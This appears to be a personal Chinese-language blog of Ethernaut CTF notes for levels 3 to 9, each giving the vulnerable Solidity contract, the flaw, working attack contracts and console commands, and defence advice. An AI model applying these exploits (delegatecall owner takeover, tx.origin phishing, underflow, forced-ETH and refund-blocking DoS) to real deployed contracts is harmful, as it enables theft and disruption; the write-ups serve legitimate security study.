Ky不是枕木

分享学习经验

这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。

  • 关卡:Level 9 - King

本关目标

成为 King 后,让关卡合约无法重新夺回王位。

考察知识点

  • 拒收 ETH
  • 外部转账阻塞状态机
  • push payment 风险

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

源码与漏洞解析

  1. King 的 receive() 逻辑是:检查出价,再给旧 king 转账,然后更新 king 和 prize。
  2. 转账使用 transfer,如果旧 king 是合约且拒收 ETH,整个 receive 会 revert,新的挑战者无法成为 king。
  3. 攻击合约用足够 ETH 成为 king 后,在自己的 receive() 中 revert。提交实例时,Ethernaut 关卡会尝试重新成为 king,但给攻击合约退款时会失败。
  4. 这关考察拒绝服务型漏洞:不是偷资产,而是利用外部调用失败阻断关键流程。

解题过程

  1. 部署攻击合约,并向 King 实例发送不低于当前 prize 的 ETH。
  2. King 的 receive 会尝试把旧 prize 转给旧 king,然后更新 king。
  3. 攻击合约没有可收款逻辑或主动 revert,之后任何人替换 king 时都会失败。

攻击合约 WP

1
2
3
4
5
6
7
8
9
10
contract KingAttack {
constructor(address payable instance) payable {
(bool ok, ) = instance.call{value: msg.value}("");
require(ok, "take throne failed");
}

receive() external payable {
revert("no refund");
}
}

最终 WP

  1. 读取当前 prize(),部署攻击合约并发送至少 prize 数量的 ETH 到 King 实例。
  2. 攻击合约成为 king。
  3. 攻击合约的 receive() 永远 revert,拒绝后续退款。
  4. 提交实例,关卡合约夺回王位失败,通关。

复盘与拓展

  • 易错点:把外部转账放进关键路径,会被拒收方阻断。
  • 防御建议:使用 pull payment,让收款人主动提款;不要在状态更新前强制向未知地址转账。

参考资料

这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。

  • 关卡:Level 8 - Vault

本关目标

读取 Vault 的私有 password,调用 unlock 解锁。

考察知识点

  • 链上 storage 可读
  • private 不是加密
  • slot 编号

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

源码与漏洞解析

  1. private 只限制 Solidity 语法层面的访问,链上 storage 对所有节点公开。
  2. Vault 有两个状态变量:locked 在 slot0,passwordbytes32,通常在 slot1。
  3. web3.eth.getStorageAt(instance, 1) 可以直接读取 slot1 中的 32 字节密码。
  4. 读取结果本身就是 bytes32,可以原样传给 unlock

过程截图

从 storage slot 中读取 password 的记录。

图注:从 storage slot 中读取 password 的记录。

解题过程

  1. locked 在 slot0,password 在 slot1。
  2. 使用 web3.eth.getStorageAt(instance, 1) 读取 slot1。
  3. 把读到的 bytes32 传给 unlock

Console WP

1
2
3
const password = await web3.eth.getStorageAt(instance, 1)
await contract.unlock(password)
await contract.locked()

最终 WP

  1. 调用 web3.eth.getStorageAt(instance, 1) 读取 password。
  2. 把读出的 bytes32 传给 contract.unlock(password)
  3. 确认 locked() 为 false。
  4. 提交实例。

复盘与拓展

  • 易错点:链上数据对所有节点公开,private 不等于加密。
  • 防御建议:不要把秘密明文上链;需要秘密时使用承诺、零知识、链下签名或延迟揭示机制。

参考资料

这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。

  • 关卡:Level 7 - Force

本关目标

让 Force 合约余额大于 0。

考察知识点

  • 强制转 ETH
  • selfdestruct 余额转移
  • 不要依赖合约余额为 0

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

源码与漏洞解析

  1. Force 合约没有任何 payable 函数,正常转账会失败,但 EVM 仍有强制改变地址余额的路径。
  2. 旧语义下 selfdestruct(payable(target)) 会销毁当前合约并把余额发送到目标地址;目标合约无需实现 receive/fallback,也无法拒收。
  3. 因此部署一个带余额的攻击合约,再让它 selfdestruct 到 Force 地址即可。
  4. 这关的安全启发是:不要把业务判断建立在 address(this).balance == 0 这类外部可强制改变的状态上。

解题过程

  1. 部署攻击合约并在部署或调用时给它一点 ETH。
  2. 调用攻击合约中的 selfdestruct(payable(instance))
  3. 目标合约余额被强制增加。

攻击合约 WP

1
2
3
4
5
6
7
contract ForceAttack {
constructor() payable {}

function attack(address payable instance) external {
selfdestruct(instance);
}
}

最终 WP

  1. 部署攻击合约,并在部署或调用时给它一点 ETH。
  2. 调用攻击合约的 attack(instance)
  3. 攻击合约执行 selfdestruct(payable(instance)),Force 余额增加。
  4. 提交实例。

复盘与拓展

  • 易错点:合约余额不是只能通过自身代码路径变化。
  • 防御建议:不要把 address(this).balance == 0 当作安全不变量;使用内部记账变量表示业务余额。
  • 拓展:Dencun 后 selfdestruct 的删除代码语义发生变化,但强制转余额这个学习点仍然需要单独理解。

参考资料

这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。

  • 关卡:Level 6 - Delegation

本关目标

通过 Delegation 的 fallback + delegatecall 执行 Delegate.pwn,接管 owner。

考察知识点

  • delegatecall
  • 函数选择器
  • 存储上下文复用

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

源码与漏洞解析

  1. Delegation 自己没有 pwn(),但 fallback 会把任意 calldata 通过 delegatecall 交给 Delegate
  2. delegatecall 的关键点:执行的是被调用合约代码,但读写的是调用方的 storage,msg.sender 也保持为原始调用者。
  3. Delegate.pwn()owner = msg.sender。通过 delegatecall 执行时,写入的是 Delegation.owner
  4. 要触发它,只需要把 pwn() 的函数选择器作为 calldata 发给 Delegation 实例。选择器是 bytes4(keccak256("pwn()")) = 0xdd365b8b

解题过程

  1. 目标 fallback 把 calldata 委托给 Delegate 合约。
  2. pwn() 的函数选择器为 0xdd365b8b
  3. 直接向实例发送这 4 字节 calldata,fallback 会 delegatecall 到 pwn()
  4. Delegate 代码写入 slot0,实际改的是 Delegation 的 slot0。

Console WP

1
2
3
await web3.eth.abi.encodeFunctionSignature("pwn()")
await contract.sendTransaction({ data: "0xdd365b8b" })
await contract.owner()

最终 WP

  1. 计算或记下 pwn() selector:0xdd365b8b
  2. 向实例发送一笔 calldata 为 0xdd365b8b 的交易。
  3. fallback delegatecall 到 Delegate,实际覆盖 Delegation 的 slot0 owner。
  4. 确认 owner() 变成玩家地址并提交。

复盘与拓展

  • 易错点:delegatecall 的危险点在于代码来自别处,但状态是自己的。
  • 防御建议:只 delegatecall 到可信、固定、存储布局兼容的实现;升级代理要严格控制实现地址。
  • 拓展:代理模式、库合约和 upgradeable 合约都大量依赖 delegatecall,审计时必须检查目标地址可控性与 storage layout。

参考资料

这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。

  • 关卡:Level 5 - Token

本关目标

让玩家持有的 Token 数量超过初始 20。

考察知识点

  • 无符号整数下溢
  • Solidity 0.6 算术行为
  • 余额检查顺序

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

源码与漏洞解析

  1. 漏洞在 transfer 的检查:require(balances[msg.sender] - _value >= 0)
  2. balances[msg.sender]uint,在 Solidity 0.6 中无下溢检查。当余额 20 转出 21 时,20 - 21 不会报错,而是回绕成一个极大的无符号整数。
  3. 无符号整数永远大于等于 0,所以 require 通过。随后 balances[msg.sender] -= _value 再次下溢,玩家余额变成极大值。
  4. Solidity 0.8 默认会检查算术上下溢;旧版本必须用 SafeMath 或显式 require(balance >= amount)

过程截图

转出 21 个 token 后余额发生下溢回绕的记录。

图注:转出 21 个 token 后余额发生下溢回绕的记录。

解题过程

  1. 初始余额为 20。
  2. transfer 里先检查 balances[msg.sender] - value >= 0,但无符号整数下溢后会变成极大值。
  3. 转出 21 个代币即可让余额回绕。

Console WP

1
2
3
await contract.balanceOf(player)
await contract.transfer(instance, 21)
await contract.balanceOf(player)

最终 WP

  1. 查看初始余额:balanceOf(player) 应为 20。
  2. 调用 transfer(instance, 21),转出比余额多 1 的数量。
  3. 再次查看余额,看到余额回绕为极大值。
  4. 提交实例。

复盘与拓展

  • 易错点:无符号整数永远不小于 0,配合旧编译器的回绕行为会让检查失效。
  • 防御建议:使用 Solidity 0.8+ 或 SafeMath;扣减前显式检查 balance >= amount

参考资料

这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。

  • 关卡:Level 4 - Telephone

本关目标

利用 tx.originmsg.sender 的差异接管 Telephone owner。

考察知识点

  • tx.originmsg.sender 区别
  • 中间合约绕过
  • 钓鱼式授权风险

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

源码与漏洞解析

  1. tx.origin 是整笔交易最初的外部账户,msg.sender 是当前这一层调用的直接调用者。
  2. 如果玩家直接调用 changeOwner,两者相等,条件不成立。
  3. 如果玩家先调用攻击合约,再由攻击合约调用 Telephone,那么 Telephone 中看到的 tx.origin 是玩家,msg.sender 是攻击合约,条件成立。
  4. 这类模式在真实合约中很危险,因为用户可能被诱导调用恶意合约,恶意合约再拿用户的 tx.origin 去通过受害合约鉴权。

过程截图

通过中间合约调用后 owner 被替换的记录。

图注:通过中间合约调用后 owner 被替换的记录。

解题过程

  1. 部署中间攻击合约。
  2. 用钱包调用攻击合约;此时目标合约看到的 msg.sender 是攻击合约,tx.origin 是玩家。
  3. 攻击合约再调用目标的 changeOwner(player)

攻击合约 WP

1
2
3
4
5
6
7
8
9
interface ITelephone {
function changeOwner(address newOwner) external;
}

contract TelephoneAttack {
function attack(address instance, address player) external {
ITelephone(instance).changeOwner(player);
}
}

最终 WP

  1. 部署一个中间攻击合约。
  2. 攻击合约中调用 Telephone(instance).changeOwner(player)
  3. 用玩家钱包调用攻击合约,而不是直接调用 Telephone。
  4. 确认 owner() 变成玩家地址并提交。

复盘与拓展

  • 易错点:tx.origin 用于鉴权会产生钓鱼攻击面。
  • 防御建议:权限判断使用 msg.sender,复杂授权使用签名、角色或明确的访问控制模块。

参考资料

这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。

  • 关卡:Level 3 - Coin Flip

本关目标

连续猜中 10 次 CoinFlip 的结果。

考察知识点

  • 伪随机数可预测
  • 区块哈希读取
  • 同交易复现目标计算

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

源码与漏洞解析

  1. 合约把 blockhash(block.number - 1) 转成整数,再除以固定 FACTOR,得到 0 或 1。这个结果对链上所有合约都是公开可计算的。
  2. 攻击合约与目标合约在同一笔交易中读取同一个上一块区块哈希,因此可以先在攻击合约中复现同样公式,再把答案传给 flip
  3. lastHash 会阻止同一区块重复调用,所以不能在一个区块内循环刷 10 次;需要等待新区块后多次执行攻击函数。
  4. 这关考察的是链上伪随机数问题:矿工、验证者、合约调用者都可能预测或影响简单链上随机源。

解题过程

  1. 阅读合约可知结果由上一块区块哈希除以固定因子得到。
  2. 部署攻击合约,在同一交易内复现目标合约的计算。
  3. 把计算出的布尔值传给 flip,每个新区块调用一次,累计 10 次。

攻击合约 WP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
interface ICoinFlip {
function flip(bool guess) external returns (bool);
}

contract CoinFlipAttack {
uint256 constant FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
ICoinFlip target;

constructor(address instance) {
target = ICoinFlip(instance);
}

function attack() external {
uint256 v = uint256(blockhash(block.number - 1)) / FACTOR;
target.flip(v == 1);
}
}

最终 WP

  1. 部署攻击合约,保存目标实例地址。
  2. 攻击函数中计算 uint256(blockhash(block.number - 1)) / FACTOR
  3. 把计算得到的布尔值传给目标 flip(guess)
  4. 跨 10 个新区块重复调用,直到 consecutiveWins() 为 10。

复盘与拓展

  • 易错点:如果攻击合约和目标合约在同一交易中读取相同区块数据,攻击者就能得到同一个“随机”结果。
  • 防御建议:使用 commit-reveal、VRF 或可信随机数预言机;不要把可公开计算的链上数据当随机源。
  • 拓展:生产环境随机数可以考虑 commit-reveal、VRF 或可信随机数预言机,不能只取区块哈希。

参考资料

0%